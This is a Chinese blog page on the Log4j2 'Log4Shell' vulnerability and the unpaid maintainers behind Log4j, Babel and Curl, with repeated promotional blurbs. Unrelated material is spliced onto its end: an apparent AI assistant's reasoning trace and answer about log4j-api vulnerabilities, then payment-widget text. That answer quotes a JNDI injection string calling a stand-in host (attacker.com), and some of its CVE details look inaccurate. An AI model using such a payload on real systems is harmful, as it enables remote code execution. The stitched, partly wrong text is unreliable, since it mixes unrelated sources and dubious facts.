史诗级漏洞爆发,Log4j 背后的开源人何去何从?_log4j-core 开源团队(4)

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

近年来,开源热潮席卷全球,纵观全球信息产业,更是呈现“得开源者得生态,得开源者得天下”的态势。在此趋势下,众多互联网企业争相拥抱开源,“开源”一词被推上了前所未有的高度。

然而,上周全球知名开源日志组件 Apache Log4j2 被曝严重高危漏洞的事件,撕开了“开源”光鲜亮丽的外表,将部分残忍的真实现状公诸于世

无数开源项目维护者困于生存压力,只能在身兼全职工作的业余时间为了热爱与责任“用爱发电”、苦苦坚守,换来的却是项目出 Bug 时的无情抨击。

一、只有 3 个人赞助的 Apache Log4j2

上周,Apache Log4j2 被曝存在严重高危的远程代码执行漏洞,可以让网络攻击者无需密码就能访问网络服务器,阿里云、斗象科技、绿盟科技、默安科技、奇安信等众多安全厂商均对此发布危害通报,具体漏洞详情可见:《Flink等多组件受影响,Apache Log4j曝史诗级漏洞》

Apache Log4j2 这一漏洞触发简单、攻击难度低、影响人群广泛,被称为“史诗级”高危漏洞,服务器业务(Steam、iCloud、Minecraft 等)被严重影响,其中元宇宙概念游戏《我的世界》更是有数十万用户被入侵。尽管后续 Apache Log4j2 针对该漏洞给出了修复版本 log4j-2.15.0-rc2,但由于 Apache Log4j2 应用广泛,该漏洞几乎会严重影响所有将 Java 作为开发语言研发产品的安全性,因此漏洞发现以后,世界上很多程序员都在为此加班加点,甚至开始抨击为何 Apache Log4j2 的维护者们连这般危险的漏洞都没发现
在这里插入图片描述
那这是为什么呢?据 Apache 软件基金会 Logging Services 的 PMC 成员 Volkan Yazıcı 在推特上给出的解释,此次漏洞是“为向后兼容保留的旧功能”而引发的

“Log4j 维护者一直在为缓解措施而失眠;修复错误、文档和 CVE,还要回应他人的询问。即便如此,他们还要遭受许多严厉的批评乃至抨击——哪怕这份工作没有任何酬劳,哪怕这个为了向后兼容而保留的功能我们其实也不喜欢。”

在这里插入图片描述
Volkan Yazıcı 这个回应可谓“一石激起千层浪”,不仅是因为漏洞起源,更多的是因为他所说的“这份工作没有任何酬劳”:从此次 Apache Log4j2 漏洞的影响范围来看,将其看做打入互联网的“半壁江山”也不为过,这样一个使用广泛的开源项目,背后维护者没有得到赞助吗?

没有,几乎没有。从 Cryptogopher+Go 团队安全负责人 Filippo Valsorda 在推特上发布的截图来看,在本次事件发酵之前,赞助 Apache Log4j2 项目的只有 3 人——一个应用于整个互联网行业“半壁江山”的开源项目,只有 3 个人赞助

在这里插入图片描述
不仅如此,据网络安全记者 Catalin Cimpanu 表示,Apache Log4j2 主要是由三名志愿者在他们的业余时间进行维护工作的

在这里插入图片描述
对此,Filippo Valsorda 不禁发推呼吁:

“这就是修复了导致数百万美元损失的漏洞的维护者:‘我在业余时间维护 Log4j’、‘一直梦想全职做开源’、‘只有 3 个人在资助 Ralph Goers(Apache Log4j2 项目创始人)’。人们,我们正在做什么啊?

在这里插入图片描述

所幸,截至发稿,项目赞助者已增至 63 人

二、被“白嫖”的项目比比皆是

除了 Apache Log4j2,还有许多开源项目也陷于类似处境。

  • Babel

Babel 是一个用于 JavaScript 的通用多用途编译器,开发者通过 Babel 可以使用(或创建)下一代的 JavaScript 以及 JavaScript 工具,许多主要框架(React,Vue,Ember,Polymer)以及著名公司(Facebook,Netflix,Airbnb)都是 Babel 的用户

可就是这样一个影响深远的开源项目,却依旧陷入了财务危机:今年 5 月 Babel 宣布,由于花钱速度持续高于获取捐赠的速度,Babel 已经陷入了财务困境,当前剩余的资金将很快被用完,该项目储备资金目前只够维持到 2021 年底

  • Curl

今年 11 月,有用户向苹果请求更新 macOS 12 中与 Curl 有关的信息,结果苹果直接回复用户让他自行联系 Curl,并提供了 Curl 的帮助页面地址。

此事引发开源项目 Curl 创始人 Daniel Stenberg 极度不满,直接怼了一通:“想象一下,一家市值万亿美元的公司将各种开源组件组合在一起,每年可从中获利数十亿美元。当用户就其提供的产品寻求帮助的时候,这家公司反而将用户推给开源项目。这个开源项目是志愿者运营和维护的,而这家公司(苹果)从没有赞助过一分钱。”

需要明确的是,Daniel Stenberg 只是针对苹果利用 Curl 获利并将用户需求推给 Curl 的做法感到不满,他选择将 Curl 免费开源时也并非是为了挣钱,而是“曾在开源中受益匪浅,因此想通过开源的方式回馈给开源世界,让世界变得越来越美好。”

三、“这就是开源丑陋的一面”

由 Apache Log4j2 揭示的开源项目维护者艰难处境的问题,在网络上引起了轩然大波。

有人怀疑这只是项目维护者推脱的理由

“如果他们得到报酬,他们会写出更好的代码吗?荒谬!”

也有人为项目维护者打抱不平

“也许不会,但至少有一些补偿可以让他们忍受那些免费使用他们的软件并在软件损坏时受到无尽抱怨的吃力不讨好。要知道,自由软件的全部意义在于您拥有源代码并且可以自由地自行修复它。”

img
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加戳这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

68825)**

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

<think>嗯,用户现在想了解log4j-api的历史漏洞信息。从对话历史看,用户之前已经询问过Log4j2 2.17.2版本的历史漏洞,我给出了详细的分析。现在用户特别关注log4j-api模块的漏洞情况。 用户提供的引用材料很有价值。引用[3]明确指出log4j-api相当于日志门面,只提供接口定义,真正的漏洞风险在log4j-core实现模块。引用[4]提到的CVE-2021-44228漏洞影响说明也佐证了这一点——漏洞修复需要升log4j-core包。 用户可能有些混淆了API和实现模块的区别。ta可能看到漏洞公告里提到Log4j2就默认所有组件都受影响,需要明确区分。不过用户能精准提问log4j-api,说明对日志框架有一定了解,只是需要更专业的技术澄清。 考虑到用户的技术背景,解释时需要: 1. 用架构图说明API和Core的关系 2. 列举所有涉及API模块的间接漏洞(虽然核心问题都不在API) 3. 强调安全升时实际需要操作的模块 4. 补充API模块自身的安全更新记录(确实很少) 特别要注意的是引用[4]里那个史诗漏洞CVE-2021-44228,虽然问题出在Core的JndiLookup类,但因为API和Core的强关联性,所有使用log4j-api的项目都必须升Core才能修复。这个点必须重点说明。 用户可能还隐含了一个需求:想知道如何检查自己项目里的log4j-api是否安全。虽然API本身没漏洞,但需要提示ta检查配套的Core版本,这个实际建议要补充在解决方案里。</think>以下是关于 `log4j-api` 模块的历史漏洞分析及关键结论: --- ### **核心结论** 1. **`log4j-api` 本身无直接高危漏洞** - 作为日志抽象层(类似 SLF4J),仅定义接口,不包含具体实现[^3]。 - 历史漏洞(如 CVE-2021-44228)均发生在 **`log4j-core` 实现模块**中[^2][^4]。 2. **间接风险场景** - 当 `log4j-api` 与漏洞版本的 `log4j-core` 共存时,攻击者可通过日志接口触发 `core` 模块的漏洞(如 JNDI 注入)[^4]。 - 例如:调用 `logger.info("${jndi:ldap://attacker.com}")` 会激活 `core` 的漏洞逻辑[^2]。 --- ### **涉及 `log4j-api` 的漏洞修复要求** | **CVE编号** | **漏洞模块** | **修复方案** | **与 `log4j-api` 的关联** | |--------------------|--------------|------------------------------------------|------------------------------------------| | CVE-2021-44228 | log4j-core | 升 `core` 至 ≥2.15.0 (Java 8+) | 需同步升 `api` 以兼容安全版本[^4] | | CVE-2021-45046 | log4j-core | 升 `core` 至 ≥2.16.0 (Java 8+) | `api` 需匹配 `core` 版本避免冲突[^4] | | CVE-2021-45105 | log4j-core | 升 `core` 至 ≥2.17.0 | `api` 接口无变化,但需同步升依赖 | --- ### **安全实践建议** 1. **依赖管理原则** ```xml <!-- 强制对齐 api 与 core 版本 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.23.1</version> <!--core 同版本 --> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.23.1</version> <!-- 当前最新安全版本 --> </dependency> ``` 2. **漏洞检测命令** ```bash # 检查 log4j-api 和 core 版本是否一致 mvn dependency:tree | grep "log4j-\(api\|core\)" ``` 3. **升优先** - **Java 8+ 项目** → 升至 `log4j-api` + `log4j-core` ≥ **2.23.1** - **Java 7 项目** → 使用 `log4j-api` + `log4j-core` **2.12.4**(最终安全版本) --- ### **常见误区澄清** ❌ *误区*:升 `log4j-api` 可单独修复漏洞。 ✅ *事实*: - 漏洞修复必须升 `log4j-core`,`api` 仅需版本对齐[^4]。 - 若仅升 `api` 而保留漏洞版 `core`,系统仍存在风险。 --- ### **历史漏洞时间线** ```mermaid timeline title Log4j2 漏洞事件与 log4j-api 的关联 section 2021-2022 2021-12-09 : CVE-2021-44228 (JNDI RCE) log4j-api 需兼容 ≥2.15.0 的 core 2021-12-13 : CVE-2021-45046 (DoS) log4j-api 需匹配 ≥2.16.0 的 core 2022-01-18 : CVE-2021-45105 (线程上下文漏洞) log4j-api 无变更,但依赖需同步 section 2023-2024 2023 至今 : 无新增 log4j-api 相关漏洞 保持 api+core 版本一致即可 ``` --- ### **相关问题** 1. `log4j-api` 和 `log4j-core` 版本必须严格一致吗? 2. 如何验证项目中是否存在漏洞版本的 `log4j-core`? 3. 使用 SLF4J + Log4j2 组合时,漏洞修复流程有何不同? 4. `log4j-api` 是否可能在未来出现独立漏洞? 5. 企业项目如何自动化监控 Log4j2 漏洞? [^1]: Log4j 2 漏洞回顾 [^2]: Log4j 漏洞原理分析 [^3]: Log4j2 模块架构说明 [^4]: Apache 官方安全公告
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值